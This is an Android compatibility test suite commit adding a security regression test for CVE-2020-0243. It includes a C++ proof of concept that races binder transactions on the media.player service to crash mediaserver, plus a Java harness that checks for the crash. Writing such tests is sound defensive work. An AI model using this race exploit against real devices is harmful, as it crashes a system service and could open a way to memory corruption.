[RESTRICT AUTOMERGE] CTS test for Android Security b/151644303
Bug: 151644303
Bug: 158576283
Bug: 151643722
Bug: 158576338
Test: Ran the new testcase on android-10.0.0_r1 with/without patch
Change-Id: I4e83cbf6136fceeb6e2e3941fdd60e3e8bf9022b
(cherry picked from commit cca7e593a31f055010eb54d7532e0f0318ef4a52)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0243/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0243/Android.bp
new file mode 100644
index 0000000..f45207f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0243/Android.bp
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0243",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libutils",
+ "libbinder",
+ "libutilscallstack",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0243/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0243/poc.cpp
new file mode 100644
index 0000000..dba6a01
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0243/poc.cpp
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/Parcel.h>
+#include <binder/IServiceManager.h>
+#include "../includes/common.h"
+
+using namespace android;
+
+typedef struct ThreadParams {
+ sp<IBinder> service;
+} ThreadParams;
+
+static void *thread_getParameter(void *p) {
+ ThreadParams *params = (ThreadParams *) p;
+ int err;
+ time_t currentTime = start_timer();
+ while (timer_active(currentTime)) {
+ Parcel data, reply;
+ data.writeInterfaceToken(params->service->getInterfaceDescriptor());
+ int key = (('m') << 24 | ('t') << 16 | ('r') << 8 | ('X'));
+ data.writeInt32(key);
+ err = params->service->transact(/*GET_PARAMETER_ID*/ 31, data, &reply, 0);
+ if (err == EPIPE) {
+ break;
+ }
+ usleep(5000);
+ }
+ return nullptr;
+}
+
+int main() {
+ status_t err;
+ sp < IServiceManager > sm = defaultServiceManager();
+ String16 name(String16("media.player"));
+ sp < IBinder > service = sm->checkService(name);
+ sp < IBinder > binder = nullptr;
+ if (not service) {
+ return EXIT_FAILURE;
+ }
+
+ String16 interface_name = service->getInterfaceDescriptor();
+ Parcel data, reply;
+ data.writeInterfaceToken(interface_name);
+ data.writeStrongBinder(new BBinder());
+ for (int i = 0; i < 1024; ++i)
+ data.writeInt32(1);
+ if (service) {
+ err = service->transact(/*CREATE_ID*/ 1, data, &reply, 0);
+ binder = reply.readStrongBinder();
+ }
+
+ if (not binder) {
+ return EXIT_FAILURE;
+ }
+
+ pthread_t t1, t2;
+
+ ThreadParams *params = new ThreadParams();
+ params->service = binder;
+ pthread_create(&t1, nullptr, thread_getParameter, params);
+ pthread_create(&t2, nullptr, thread_getParameter, params);
+
+ time_t currentTime = start_timer();
+ while (timer_active(currentTime)) {
+ if (not binder) {
+ break;
+ }
+ Parcel data, reply;
+ data.writeInterfaceToken(binder->getInterfaceDescriptor());
+ data.writeStrongBinder(binder);
+ err = binder->transact(/*SET_DATA_SOURCE_URL_ID*/ 2, data, &reply, 0);
+ if (err == EPIPE) {
+ break;
+ }
+ usleep(500000);
+ }
+
+ pthread_join(t1, nullptr);
+ pthread_join(t2, nullptr);
+ delete params;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
new file mode 100644
index 0000000..4c2b91d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0243 extends SecurityTestCase {
+
+ /**
+ * b/151644303
+ * Vulnerability Behaviour: SIGSEGV in mediaserver
+ */
+ @SecurityTest(minPatchLevel = "2020-08")
+ @Test
+ public void testPocCVE_2020_0243() throws Exception {
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2020-0243", getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns("mediaserver");
+ testConfig.config.checkMinAddress(false);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
